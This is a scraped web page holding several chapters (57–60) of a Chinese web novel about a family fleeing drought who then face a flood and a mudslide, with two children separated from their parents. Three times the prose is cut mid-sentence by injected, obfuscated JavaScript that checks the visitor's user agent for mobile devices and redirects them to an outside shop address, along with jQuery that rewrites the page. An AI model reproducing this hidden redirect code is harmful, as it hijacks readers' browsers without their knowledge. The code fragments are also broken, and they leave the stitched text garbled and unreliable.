l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229782|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵宁宁这边。 村里人都去扒树皮,赵启和宁爸也跟着去了,他们不缺吃的,弄出来的树皮有一半都分给周剑他们,说自家吃不完。 不明真相的周剑感动的不行,把姐夫家这样照顾自家的行为暗暗记在心里。 队伍继续往前头走,走上官道之后,里正放慢速度,跟村长和尚家人商量接下来的路线。 黄石县留不住,只能再往前走。 尚家少爷出来,指着地图说:“王爷爷,既然你们也是去北边,不如先同我们顺路。” “沿着白河山脉走,到渌川郡,渌川郡靠北,若再想往北走,还可以沿着绵延的山脉去到江都郡。” 这其中大大小小的县城州府,看上去密密麻麻不知有多少。 里正长这么大,还是第一次出这么远的门。 看了看地图,他无奈道:“我正是这个意思,光靠我们自己,没法子想出一个合适的路线来。” 只晓得往北走,别停留。 南边不知道发生多少灾祸了,后头又有一大波流民撵着,只能往北走,一直走到一个有水的地方再安定下来。 逃荒这一个多月以来,暂时还没听说北边有什么灾祸,想来北边应该是没事的。 “那咱们先沿着这条官道向前走,三日后,可以走到下一个镇子。”尚少爷指指地图,“曾经跟娘回家访亲时,走过这条路。” 随着他的话,尚少爷手指往前一滑,顺着曲折的线条滑到了最终目的地:青州。 里正被他的手势吸引,点头道:“行!” 趁晚间休息的时候,里正把路线略微讲了讲。 末了,他叮嘱各位村民记好接下来要去的镇子和县城,若是遇见个什么情况,在下一个镇子汇合。 要是等不及,就想法子留个村里人知道的标记。 标记尚少爷都帮着想了,就在出城之后的树上用柴刀砍一个王字。 赵慧兰躲在人群后头,远远地往中间看。 跟一群黑蛋一样的村里人比起来,尚少爷简直是鸡群里一只大白鹅。 又白又高,气质谈吐又出众。 现在他还能当王李村的主。 要是能攀上他们家便好了…… 又盯了一会尚少爷,直到钱婆子喊了她好几声回去捡柴火,赵慧兰才依依不舍去捡柴火。 赵宁宁全家听了一耳朵,宁爸盘算着,要是想到青州,起码还得走一两个月! 这还是往好了想的,要是时不时歇一下再遇见个什么事,两个月都是打底的。 算完时间,宁爸只觉得度日如年。 无他,这日子实在是太苦了,就算是有吃有喝有冰块,连日的赶路,所有人的精神都在崩溃的边缘。 要不是心里还有个“找到落脚地”的念头支撑着,怕是大家伙到府城的时候气力就散了。 宁爸叹了口气,抬头望天。 不对。 光线太过刺目,宁爸用手挡住大部分的光线,小心地看来看去。 ——是我看错了吗?天上太阳怎么只剩下八个了? 宁爸揉揉眼,再看去,依旧是八个。 因着这会太阳正在依次落山,宁爸不敢说太阳是不是少一个。 他准备等明天起了在数一遍。 第二天,宁爸还没起的时候便听见外头一阵热闹声。 “八个!” “真的只有八个!” 宁爸翻身看向旁边,好些人都用手挡着往天上看。 每一个人看完之后都兴奋地对其他人说: “太阳少了一个!” “真的少了一个!” “呜呜呜……终于少了!” “再走下去,我就要**!” “老天啊!你睁开眼看看!你的子民都快晒**!” “八个太阳了!会不会下雨啊!” “下点雨吧!” “……” 村里人一阵激动,直到里正喊他们出发,他们才慢吞吞地去收拾东西,继续前行。 赵宁宁一家吃好早饭,宁爸偷偷喂骡子和马儿喝一些水,安抚好它们后,这才往两匹牲畜身上套车。 今天少了一个太阳,王李村的人走起路来都有劲不少,一天走下来,算算路程,比昨日多走了三里地! 更令人高兴的是,里正他们找到了水! 第58章 活着的希望 一块像房子一般高的大石头,藏着一丈长,两丈宽的一口小潭水。 这小潭水不如他们刚开始逃荒时发现的那个大水潭水多,它看上去只有一小片,浅浅的,水桶放下去都没不过去。 好在现在队伍里人少,差不多每家能分一些。 还是按照老规矩,排队按照人口来打水。 宁爸去打水,赵启在给马儿梳**。 宁妈盘点车里的东西,赵宁宁守着车门。 正坐在车头扇扇子,忽然一个妇人朝这边走过来,赵宁宁仔细一看,王小花的娘,王雁。 起初她还以为是自己看错,没想到走到近前,王雁还没拐弯的意思,赵宁宁忙喊:“娘,有人找你。” 她是小孩,王小花的娘肯定不是来找她的。 果然,王雁走到宁宁家马车边上,对宁宁笑了笑,夸赞道:“宁宁真机灵,我就是来找**。” 宁妈听见动静,停止手上的活从车厢出来,问道:“怎么了?” 王雁直说来意:“我们家东西前几天进城的时候被收走,连个打水的木桶都没有,所以想问你有没有多的木桶,能不能卖给我们一个?” 王小花的娘说话有条有理的,宁妈看她又不是过来白嫖,问:“你打算用多少银子换?” “这……”王雁从怀里摸出一个小钱袋,钱袋瘪瘪的,她从里倒出两块碎银子,看上去约莫值两百文。 她小心地举到宁妈面前,“这行不行?” 好点的木桶平日里才卖六十多文,哪怕现在灾荒年涨价,两百文的价格也值! 逃荒路上,能帮一把便是一把。宁妈想了想,让赵宁宁在这里等着,自己回车厢,从空间挑了一个大小适中,之前用来装水的木桶出来。 王雁都没想到两百文能换到这么新的木桶! 向宁宁妈道谢之后,她把银子递给宁妈,提着木桶去排队打水。 其他家里没有装水容器的,也只能各自想法子。 一人一小瓢,赵宁宁家四个人,只分到了半桶水回去。 每人一小瓢,分完之后水潭就直接就见底了。 这些水省着喝,也只够喝五六天。 更不用说还有牲畜。 水拿回来之后,钱婆子珍惜地往锅里舀了两瓢,用着这点水,把米树树皮给丢进去煮。 煮好树皮之后,原先清澈的水变为黄绿色,钱婆子也不浪费,把水分出来,让其他人喝。 家里没有碗,钱婆子花钱去买了三个,人多,饭碗只能紧着其他人吃。 轮到赵慧兰吃饭的时候,锅里的米树皮只剩了一点碎渣渣。 汤也凉透了。 她嫌弃地用树枝做的筷子搅了搅,煮过的米树皮坚硬的外皮和内皮分离,面乎的内皮被筷子一戳,碎成一小块一块,混在黄绿色的“汤”里。 马车被收之前,他们家怎么说也能喝上稀稀拉拉的粗粮粥。 尽管那粥里会掺难吃又苦涩的野菜干,尽管粥稀得像镜子一样,好歹味道还算正常。 想到这两顿只能生啃米树皮,生的米树皮有一股子怪味,吃得人想吐,为了活命又不得不吃下。 都说米树皮煮过之后好吃,今天应该会好吃一些吧?赵慧兰收起那份嫌弃的心,把碗递到嘴边,喝下一口。 差点没吐出来! 米树皮外皮上的味道全被煮进汤里了! 又苦又涩,还夹杂着一股子怪味,赵慧兰没忍住,呕了一声。 一旁的曹柔安见小姑子这副娇气模样,忍不住倚靠在赵文远身上,撒娇说:“文远,你看看你妹妹,我怀着孩子都没挑剔,她还嫌弃上了。” 赵文远虽喜爱曹柔安,但赵慧兰也是他从小看着长大的亲妹妹,两边都不能开罪,他只能糊弄说:“她没吃过什么苦,吃不惯树皮正常的。” 曹柔安撇撇嘴,扶着腰,拖着沉重的身体挪到马车上。 再有四个月她就要生了! 怀孩子之前他也没想到会遇见这连番的天灾,也没想过会颠沛流离。 好在老赵家的人肯让她坐马车,不然她非得找个机会把孩子给打了。 摸摸肚子又摸摸自己消瘦不少的脸,曹柔安自怨自艾一番,靠着车头睡下。 另一头,赵宁宁家对着一箩筐的树皮发愁。 “煮吧?”宁爸问。 “等等,不是说树皮难吃吗?”宁妈用手抠抠树皮,因为扒下来就丢进空间保存,这树皮还新鲜着,轻轻一剥就将米树树皮内外层给分开了。 宁爸有样学样,拿起一块大树皮顺着边缘抠抠,一下子便揭下来了一张完整的内皮! 这活计有点解压,赵宁宁和赵启抢着要干。 宁妈把活计丢出去,跟宁爸去一遍架炉子烧炉子去了。 一箩筐一会的功夫就剥好了,剥好之后筐里只剩一小半洁白的内皮。 赵宁宁把它带到车厢里,借着车厢的遮掩,给拿回家去厨房洗净。 洗净后拿出来一部分给宁妈煮,剩下一部分赵宁宁自己在空间里煮。 宁妈那边水已经烧开了,米树皮一丢进去,一股淡黄色的汁液渐渐渗出,闻闻味道不太对,宁妈当机立断把里面的树皮捞出来。 “这真能吃?”赵宁宁很是疑惑,她凑近闻闻,树皮上是没味道的,只有煮出来的黄色水水有味道。 “应该能吃。”宁妈悄悄把锅里的水换掉,再重新煮。 这次锅里水清澈无比,直到煮得有些软烂,一股清香味从锅里飘出来。 宁爸闭眼吸了一大口空气里飘来的香味,感叹道:“还真像!” 原来米树真的会有米香味! 煮烂的树皮有些像地瓜干煮过后的样子,宁妈给几人盛了,赵宁宁好奇闻闻,果然,里头真的有一股子淡淡的,类似大米的香味。 喝一口,口感面面的,味道倒是没什么味。 一碗树皮粥喝完,赵宁宁拍大腿。 她空间里还煮了一锅呢! 忙进空间把锅里的米树皮给捞出来放一边,赵宁宁换上新水给煮上。 队伍里休息一整夜,第二天走的时候,村里人带着希望照往天上看看。 ——太阳又少一个! 这个消息让大家伙都欢欣鼓舞起来。 里正在最前头,对着激动的村民说:“咱们再加把劲走走,明天就能到下一个镇子了!” “说不定到下个镇子的时候,咱们就有落脚地儿了呢!” “是啊!要是老天下雨就好了,这样咱们走到哪出,能买地盖房的,咱们就留下来。” “你说咱们还能回去吗?” “回哪?” “蠢蛋,当然是王李村。” “咱们走得不算远,等找地方安顿一下,过了灾荒年,说不准能直接掉头回去呢!” “……” 太阳一天比一天少,王李村的人走起来比之前有精神多了,脚程也快了起来。 到镇子上的时候,天上太阳只剩下六个了。 不知道是不是错觉,前几天白天走路总有种背部要晒裂开的感觉,现在六个太阳,稍微“凉快”了那么一点。 黑天的时辰也比之前长了一些。 高山镇。 一走进高山镇的范围,就少有人烟。 农田仍旧是干裂的,附近的村落家家户户的院门和屋门都大开着,里面空荡荡的,什么都没有。 镇上没有开门的铺子,只有几个年岁大的老头,坐在路边借着屋檐的遮阴在卖自己做的草鞋。 看到那么大一拨人过来,几个老头也不惧,靠在墙上,挑看上去好说话的人叫卖草鞋。 里正借着买草鞋,跟老头打听消息。 照规矩,里正给他塞了一个掌心大的粗粮饼子,这次拿出来的粗粮饼子里头还掺着野菜干。 “你们说我们这镇子啊……”老头一边狼吞虎咽地把饼子吃了咽下,一边口齿不清地说:“人都跑光了,这里没水!没粮!啥都没!” “只剩下几户跟我一样年纪大的,走不动才留下来。” 老头机灵,还晓得编草鞋出来摆摊卖,就算是没人买,过路的人总有那么几个来找他打探消息。 这时候他就会跟人要吃的喝的换消息。 也有想**他的,但他一个老头,除了二两骨头和一身破布衣裳什么都没,他平日里吃靠树皮草根。 喝靠着藏起来的一点水。 “你们往前走,再走个五天就能到下一个镇子了,那个镇子离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229783|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县城近,只要三天的路。” 说完,他还给拿饼子的大好人指指方向。 “谢谢老哥。”里正道谢,回到队伍。 “咱们在这附近休息两个时辰,再接着往前走。” 队伍里哀怨了片刻,纷纷找地儿歇着了。 镇上什么都没,就是房子多,有房子遮阴,好歹能不那么热。 把东西找地方安顿好后,机灵点儿的人家在附近搜罗。 只可惜把整个镇子逛遍,也只找到了十来口枯井。 里头一丝水都没有。 倒是有两家在房子隐蔽的老鼠洞里掏出来了一些粮食。 这可是意外之喜! 赵宁宁家也找到了一座院子,这座院子大门还是好的,把院门一关,外头的人啥也看不见。 关好院门后,宁妈去屋里把桌子板凳从空间里掏出来摆地上。 宁爸大马金刀地往板凳上一坐,搓搓手等开饭。 只见宁妈挨个往桌上摆上他们之前在黄石县小院里做的预制饭。 挑了两样肉菜,宁妈又拿出一道清炒小白菜。 主食是米饭,宁妈刚把饭桶摆在桌上,赵宁宁也刚好从空间出来,她从自己空间洗碗机里把自家的碗筷给拿了出来。 一家人坐好,开吃! 吃饱喝足,借着院子的遮挡,宁妈放出两桶水,让两个牲畜好好地喝了个饱。 把草料放在地上让它们慢慢吃着,四人回到堂屋休息。 下午接着出发,王李村的人连着走了五天,日夜兼程,总算赶到了下一个镇子。 这个镇子叫歪头山镇。 此时天上的太阳恢复成了一个。 赵启估计,这会的体感温度应该不会超过四十度。 歪头山镇子上竟然还有一家店铺开着门。 走近一看,原来是一家卖箩筐的。 里正给自家添了几个箩筐,这才把消息打探出来。 歪头山镇附近的村子里百姓也逃荒走得差不多了。 基本上都是能跑的跑,不能跑的自己找个地儿窝着等死。 因着这几天路上都没找到水源,王李村的村民的水喝的差不多只剩下一口,里正让大家伙先去找地儿安顿,他得想法子弄点水来。 他还没想到法子,老天爷竟然自己送水来了。 一瞬的功夫,天色忽然暗下来。 天,开始下雨了。 第一滴水落在村民脸上的时候,还以为是哪个飞过去的鸟屙下来的鸟屎。 那村民骂了一句,摸摸脸一看,手上是干净的! 再接着,脑袋壳上被什么东西啪嗒打了一下。 不疼,就是有些懵。 “这?这!” 他激动得说不出话来。 “下雨了?” “下雨了!” “老天爷——下雨了!” “哈哈哈哈哈哈!下雨了!下雨了!真的下雨了!” “快!快去拿水桶!” 王李村的人找歇脚的地方都来不及,直接停在原地,纷纷把自家的锅碗瓢盆连着水桶一起掏出来摆着地上。 雨滴打在碗里、打在锅里,打在桶上,滴滴答答如同奏乐一般令人迷醉。 村民们癫狂地朝天张着嘴,欣喜得几乎发狂。 他们可是好几年都没见到下雨了! “终于……终于下雨了!”随着里正的话,他的泪同时顺着脸滴在地上,与尘土与水滴混合在一起。 “要是这雨能早下几个月该多好……这样大家伙就不用出来逃荒了。” 王修奉站在自家老爹旁边,叹气,“现在下也不晚,咱们先在这里安顿安顿,等南边稳定了,咱们就回去……或者留在这附近。” “这都行、怎么都行。”里正颤抖地伸手去接天上的雨。 心里无比惋惜——要是早点下雨该多好! 这场雨一直下了一天。 赵宁宁家一开始也跟着高兴,紧接着赵宁宁就想起来了书里写的——水灾。 高兴过后的宁爸宁妈冷静下来,把油布掏出来往车后的干柴上盖。 其他回过神的人家也纷纷去找东西盖自家的柴火。 高兴归高兴,车上的柴火也是辛辛苦苦捡起来的!可不能淋湿了,不然晚上都没法烧水喝! 第59章 洪水 里正决定先在这里停留几天。 一是为了让村里人歇歇,二是方便大家伙接雨水。 毕竟谁也不知道这场雨什么时候会停,能接一点水就接一点水。 天色渐晚,王李村的人分散开在镇上去找开着门的院子。 这房子之前不知被多少人闯过空门,有的院门都被破坏了。 赵宁宁家好不容易找到了一家院门是好的,没想到村里另一户人家也看上了。 他们家有七个人。 其中壮丁有三个,成年妇人也有三个,只有一个是小孩。 对方看赵宁宁家只有四口人,且只有一个壮丁,强势地站在门口不相让。 “你们才四口人,住不了这么大的院子。” 李老头说:“这房子是我们先看上的。” “你说你看上它就是你的了?”宁爸气笑,他都走到门准备试试院门好不好了,这个老头不知道从哪蹿出来说这个院子是他们家先看上的。 “就是我爹先看到的!”他们家汉子帮腔道:“你们才几个人!那不是旁边还有一个院子吗!” 宁爸都不用看,旁边那个院子门是破的,他刚才想都没想就直接越过了。 “别忘了,我媳妇可是**最多,拿了村里赏银的!”宁爸把宁妈拉出来,“不说别的,咱们村里可没有哪家能像她一样厉害!” 被宁爸点名,宁妈立马从车厢里掏出大刀,举着大刀在手里晃晃,那轻轻松松的模样,好似这群人要是敢惹她,下一秒她手里大刀就会送到对方脖子上一样。 李老头脖子一凉,脸色一变。 他差点忘了,赵老二家有个杀神。 就连赵老二也不是吃素的,他只是没排第一,他也在前十里头呢! 况且他家还屡次最先发现贼人,里正都夸了好几次,说要不是他们,王李村不知道要折多少青壮进去。 想了想,李老头哼了一声,“算了!我一个老头子不跟你们争,大头,咱们走。” 李大头不忿地瞪了宁爸一眼,呸了一口:“吃软饭的家伙。” 宁爸嘴都快气歪了。 什么叫吃软饭,他又不是没干活。 他们走后,赵启忙帮着把马车牵进院子,把马和骡子牵到堂屋门口的屋檐下头。 宁爸又冒雨出去,顶着雨把院门后的门闩给修好,重新找来一块木头给紧紧堵上。 用手拉拉,院门纹丝不动。 他这才小跑回堂屋。 堂屋门也是坏的,但没什么修的必要,宁妈催他赶快去把湿衣服脱了,去洗一个澡换干净衣服。 堂屋西边和东边各有一个房间,还是照老规矩,赵启一个,赵宁宁回空间,宁爸宁妈一个。 宁妈已经把装好热水的浴桶给宁爸放好在西屋了。 全家人洗过澡,换好衣服之后,宁爸问赵宁宁要来家门口鞋柜里的折叠雨伞,握在手里掂量掂量,打开撑着去院子里看马。 既然停下来休息,宁妈就想着做点饭吃。 外面还在下着暴雨,这会外面温度降了下来,虽然还有些闷热,但今天淋了雨,宁妈怕大家伙感冒,用小砂锅煮了一锅粥。 就着之前做的手抓饼,几人吃过之后额角微微冒出一片汗珠。 吃饱喝足之后,赵宁宁和赵启守夜,让宁爸宁妈先去睡觉。 两人守到后半夜,直到宁爸宁妈起来换人的时候,外头的雨还是暴雨。 等赵宁宁睡醒再起来一看:还是暴雨。 这会院子里已经开始有积水了,他们挑房子的时候,特意往地势高的地方挑的。 没想到这场雨下这么大,院子里出水口都来不及出水。 赵宁宁本以为旱灾和洪灾之间会有一个过度,照这阵势,恐怕洪灾要不了一两天就会来。 宁爸一手打着伞,另一只手拿着树杈子在捅院子的出水口,捅开之后,院子的积水倾泻而出。 宁妈坐在堂屋里,拿着油布在缝缝补补。 “妈,这是什么?”赵宁宁好奇。 “给它们缝的雨衣。”宁妈刚好缝好,咬断线头,她把油布拿起来抖抖。 赵宁宁这才看出来,三个油布拼接起来,中间掏了个洞缝上去了一个帽子。 宁妈还给帽子缝了一个帽檐。 拿出去给骡子套上,尺寸刚刚好。 宁妈又回来开始缝另一件。 除了这两件给牲畜做的雨衣,她还给自家车厢后头的柴火做了防雨的油布罩子。 就是把两块油布拼接起来,固定在车顶上,油布从车顶扯到车尾,两边再用多余的绳子一绑。 这样雨水就透不进去了。 用的时候解开一边的绳子就可以拿柴火,是分方便。 外头雨势太大,站在屋檐下的骡子和马被潲过来的雨给淋到,难受地走来走去。 有油布雨衣遮着身子和头,两个只牲畜才渐渐放松下来。 安静下来之后,宁爸把它们牵进堂屋,堂屋顿时拥挤起来。 一边用干布巾给它们擦**,宁爸一边说:“等会我去外头看看,这雨太大了,照这样下去,今天晚上这个镇子不能再呆了。” 宁妈点头,她从空间拿出干净的水和草料,两个**被擦干的牲畜挤挤挨挨地靠在一起,安静地咀嚼着草料。 吃过午饭,宁爸问赵宁宁要来了一把备用的折叠伞,放在包袱里系紧,又问宁妈要来油纸伞,趿拉着草鞋出门看水势去了。 烈日之下镇上还能偶尔见到个人,这会已是暴雨第二天,镇上一个人都没。 刚好方便宁爸,他举着油纸伞一路走到镇子东边,东边有一条河,昨天来的时候河道还是干的,这会河道已被浑浊的雨水给填满了。 河道内波涛滚滚,泥黄色的水流奔涌向前。 宁爸不知道上下游的情况,只能粗略估计,再照这个势头下一夜,绝对会有洪灾! 得提前去地势高的地方。 环顾四周,这里最近的山便是歪头山镇的歪头山了,离镇子不过一个小时的脚程。 得找人看着大河,河水要是漫上来,他们必须在一个小时内到山上。 要是能留在屋子里,没人想出去淋雨。 思索片刻,宁爸举着伞去找里正说了自己的想法。 里正被河水水位的涨势惊到,他道:“今早我还冒雨去看过,水位才只到河道一半的位置。” “这才半天过去,河水就把河道填满了。” 他本来想的是,今天临睡之前再去看一眼,没想到哇…… 背着手在屋里走了两圈,里正派两个孩子去找人一起,轮流盯着河道。 回到家,宁爸把河道的事说了。 说完,宁爸对两个孩子说:“今天晚上我跟你妈值夜,你俩睡觉吧。” 赵宁宁:“那不行!你们得赶车呢,要不这样,前半夜我妈睡,后半夜你睡。” 这样不管什么时候要走,都有人赶车。 宁妈点头:“这样也行,今天吃了饭我就早点去睡,夜里早点去替你。” 一家人说好值夜的安排,宁妈趁还能在屋里做饭,又用小炉子烧了几锅粥。 这样到时候在路上,他们也能随时喝到热乎乎的甜粥或是咸粥。 吃过晚饭,宁妈和赵宁宁早早去睡。 怕在空间里睡得太沉,赵宁宁是睡在外头的。 半夜,她只觉得有人在摇晃自己。 “宁宁,快醒醒。” 宁妈的声音在耳边响起的时候,赵宁宁还以为是在做梦呢。 想到自己睡觉前的事儿,赵宁宁一个激灵,彻底醒过来。 她问:“怎么了?” “咱们得赶紧走。”宁妈见宁宁醒过来,不由得松了口气,女儿再不醒,她都准备直接把人给抱到车上去。 匆匆起身,宁妈在赵宁宁后头把床连着被子枕头一起收到空间里。 出了堂屋,宁爸已经把骡车给套好了,两只牲畜穿好油布做的雨衣,看上去无比温顺。 牵着骡车出门,外头漆黑一片,什么都看不清。 赵宁宁有种自己瞎了的感觉。 雨势太大,宁妈从空间拿出一个干火把来,只能借着自家车棚的遮挡照清脚下的路。 再远一些,便什么都看不到了。 “现在几点了?”赵宁宁问。 “刚才喊你的时候差不多一点。” 宁妈起来值夜没喊赵宁宁,宁爸还没睡呢,就听见外头敲锣的声音。 伴着敲锣的声音,还有王修奉喊着洪水来了的声音。 “天好黑……”赵宁宁抬头看天,天色昏沉暗红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229784|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个世界像是变异一般诡谲恐怖。 早知道白天就直接去山上了,没想到洪水这么快就要来了。现在后悔也没用,赵宁宁叹了口气,扶着车门坐好。 走到镇上主路,逐渐能看到王李村的村民出来。 大家伙都默不作声地又慢又着急地在雨夜中行走。 忽然,天空一道闪电划过。 一声巨雷如同**一般在耳朵边上碾过,重重地敲在所有人的心上。 雨,比刚才又大了一些。 好多人没用挡雨的东西,只能找自家的草席子顶在头上,风一吹,雨水顿时糊了一脸。 想着水位突然升高,所有人一刻也不敢停歇,都打起十二万分的精神,跟着前头的人往前走。 宁爸白天估量距离的时候忽略了一点:白天能看清路,且下雨之前的路好走。 现在又黑又看不清路,路上的黄泥被水泡烂,车轧过去,后头的人跟和泥巴一样。 两个车轮上全裹满了又重又沉的泥巴,没法子,宁爸宁妈下车站在两边一边走一遍用菜刀刀背给翻上来的泥巴刮掉。 这样好歹能走得动。 就这样摸着黑,走了大概有半个小时,宁爸觉得自己的草鞋底下涌来一股凉意。 是积水! “积水!”宁爸喊:“这会路面开始有积水了!” 一听到这个,队伍里的人开始慌了,“里正!这可咋办!能不能快些走!” “已经是最快了!”里正抹了把脸上的雨水,艰难举着火把照路。 王修奉看得心疼不已,从他手里夺过火把劝道:“爹!你上车去吧!我跟我弟轮流着来!” 王修奉的弟弟也在劝,几个孩子一起劝,老里正被架着回到车上坐下。 他们几个一人打伞,另一人举火把走在前头。 后面跟着自家马车。 宁爸有样学样,一手打伞一手举火把,好歹能走快一点。 有火光照着,他看清地下的水,就着一会说话的功夫,积水已经没过他的脚背了。 不知道半个小时之后,能不能顺利走到山下。 越走,积水越高。 走到后头,宁爸完全是在蹚水,且牲畜有些不听话,不太肯往前走。 宁妈下车,她和宁爸一人一只牲畜在前头牵着走,赵启下去,一边打伞一边举着火把照路。 赵宁宁在车轮旁边,来回地用小棍去撬车轮上厚厚的泥巴。 这会有积水泡着,泥巴要比刚才好撬多了。 走着走着,赵宁宁被一个大浪拍到,顿时,她半边身子都湿透了。 一回头,后头的村民惊慌失措。 有**喊:“不好了!洪水来了!” “发洪水了!快走!快走啊!” 有人火把都不要了,拼命往前蹚水。 赵宁宁紧张地握着小木棍,扶着自家的车往前看。 差不多还有十分钟,十分钟就能走到山脚下了。 所有人都,卯着劲往前跑,慌乱之间,赵启走到了车后头,跟赵宁宁一块。 拉着妹妹的手,赵启稍感心安。 两人扯着自家车上绑柴火多出来的一截绳子,借着马车的力往前走。 水,越来越高。 几乎到了马肚子上。 赵宁宁家的车完全是被骡子拖着往前漂的。 这种情况,她和哥哥更不能坐在车上了。 好在,马上就要到歪头山了,只要上山,他们就安全了。 一大波水浪打过来,后头的人又开始跑起来。 每个人都生怕自己被洪水淹到,拼了命地往前冲。 这一慌乱之间,赵宁宁和赵启被人挤得离开了自家马车的范围。 赵启安慰妹妹:“没事,等会咱们走快一些,马上就上山了,上山就安全了。” 赵宁宁点头,又拉紧了一些哥哥的手。 两个孩子东倒西歪地随着人群上山,一脚踏上歪头山,赵宁宁才安心。 天晓得她刚才多怕自己和哥哥被洪水冲走。 眼下算是安全了—— 赵宁宁刚放下心,耳边响起了一股不同寻常的轰隆声。 ——刚才打闪了吗?怎么会有雷声。 赵宁宁略一回想,刚才没有打雷!那这声音是?! “不好!是泥石流!” 第60章 走散 话音刚落,山上一股巨大的推力将众人分开。 泥石流裹着断裂的草木石头,狠狠地拍向妄想登上山坡的人类! 赵宁宁:! 她看见,旁边一辆架子车,直接被泥石流给吞没了! 下意识地,她拉紧哥哥的手。 赵启头也不回地拉着妹妹往山下跑。 又是一声沉闷的轰隆声,一大股泥石流拍过来。赵宁宁只来得及听到哥哥喊了一声自己的名字,下一瞬,她便失去了意识。 等赵宁宁再次醒过来,天已经亮了。 天上还在下雨。 摸着有些发疼的脑袋,赵宁宁下意识地去找赵启的身影。 好在,赵启就在她旁边,两人的手还拉着,赵宁宁把自己的手从赵启的手里抽出来,摸了摸哥哥的脸,见他只是昏迷,赵宁宁放下心。 这才有时间去看周围是什么情况。 她和哥哥在一棵歪脖树旁边的小坡上。 一股股浑浊的水浪在拍打赵宁宁的脚踝,腿边就是洪水,赵宁宁忙把脚伸回来。 不放心赵启,她拖着赵启的衣服,使出吃奶的劲儿,把赵启给往上拖一拖。 顺势起身向后看去,原来这是一座山,四周静悄悄的,除了水流声和哗啦啦的雨声,一点儿其他的声音都没有。 这是在哪? 赵宁宁晃晃脑袋,见四处无人,钻进空间把沾满泥浆和脏水的衣服给换下,拿着雨伞和毛巾出去。 她哥还在地上躺着呢! 这里也没个避雨的地方,赵宁宁把毛巾垫在他头底下,给人拖到稍微平缓一点的地方。 赵宁宁去四周捡了几根木头,回来插在地上。 然后进空间把爬爬垫拿出来,盖在木头棍子上。 她把空间的电梯厅的鞋柜打开,拿出几双运动鞋,把鞋带给拆下来,绑在了爬爬垫的四个角。 这下,好歹天上的雨不会直接淋在身上了。 忙活这一通下来,赵宁宁身上刚换的衣服又湿了半截。 她回空间,想了想,拿出两把伞破坏掉,伞骨取下,把伞面拼成一块能躺得下人的“垫子”,隔开地上的泥水。 最后把满身泥水的赵启给拖上去,这才算完事儿。 赵宁宁把他头底下的毛巾抽出来,准备拿回去换一个干爽的出来。 这一抽不要紧,那毛巾上竟然沾着血! 赵宁宁看着毛巾上的血惊呆了一瞬,忙把它丢在一边,小心扒拉着哥哥的后脑勺。 在枕骨的位置,多了一条一个指节长的伤口,也不知这是什么时候的伤口,边缘被水泡得已有一些微微泛白。 怪不得他一直醒不过来,原来是头受伤了。 赵宁宁赶快回到空间,把浴巾毛巾还有药箱全都拿出来。 她先把赵启上半身的衣服给扒下来用浴巾裹着,下半身她有心无力,只能用浴巾把衣服上的水吸一吸,再给他裹一个干净的浴巾。 至于他头上的伤口,赵宁宁仔细用生理盐水冲洗周围之后,伤口露出了它的原貌——一个指节长,好在只是划伤,周围没用肿。 赵宁宁心里放心一些,至少不用担心撞到头。 她用剪刀小心把伤口周围的头发剪掉,最后涂上碘伏,用纱布包上,再用医用胶带给固定好。 做完这些,她回空间,在冰箱里拿出一瓶柠檬水,稍微加热了一点,用碗端着拿出来。 赵启还没有醒,赵宁宁拿来干净的毛巾卷成卷,避着伤口的位置把他的头垫高了些,小心用勺子一点一点往他嘴边送。 习惯性的,赵启张嘴喝下,赵宁宁也顾不得药性不药性的问题,回空间烧了热水,放成温水之后,把消炎药倒在勺子里,用温水送着让赵启喝下去。 这样总没事了吧? 赵宁宁祈祷。 肚子咕咕叫的时候,赵宁宁回空间看了一眼时间。 不知不觉已经是下午两点了,怪不得这么饿。 她看了一眼赵启还没醒来的意思,回空间匆匆把冰柜里的冻馒头包子给热上。 一边守着哥哥,赵宁宁坐在爬爬垫做成的雨棚底下,一边把午饭给解决了。 淋过雨之后觉得身上有些凉,赵宁宁回空间找了一圈,她的空间里没有干柴火,也没有什么能烧的东西。 除了棉花被子。 赵宁宁先不急着烧被子,打着伞去周围收集了一些树枝,带到空间电梯厅里甩甩。 甩个半干之后用毛巾擦干,反正这玩意第二天会刷新,赵宁宁用起来毫不吝啬。 树枝准备差不多之后,她拿出被子,用打火机点着。 用棉花被子裹着略有些潮湿的树枝,不一会,棚底下开始冒烟,赵宁宁拿着扇子把烟往外扇。 怕爬爬垫被火烤坏,赵宁宁特意把火堆点在了垫子边缘。 棉花的高温把树枝上的湿意烘干,渐渐地,烟变小了,赵宁宁把柴堆挑挑,离赵启不远不近。 他身上,赵宁宁给盖了浴巾。 让火堆慢慢烤着哥哥,赵宁宁打着伞,继续在周围找湿树枝。 找到之后带回空间甩甩晾着,一部分拿出来放在火堆边上烤。 她不走远,就在附近,隔一会就回来看看赵启,顺便给火堆加柴。 中间她怕烤不匀,还帮赵启翻了个身。 一个小时过去,赵启身上的衣服差不多干透,赵宁宁从空间拿出被子,小心让哥哥躺在上头。 摆弄完赵启,赵宁宁自己浑身出了一身汗,风一吹,她感到一阵寒意。 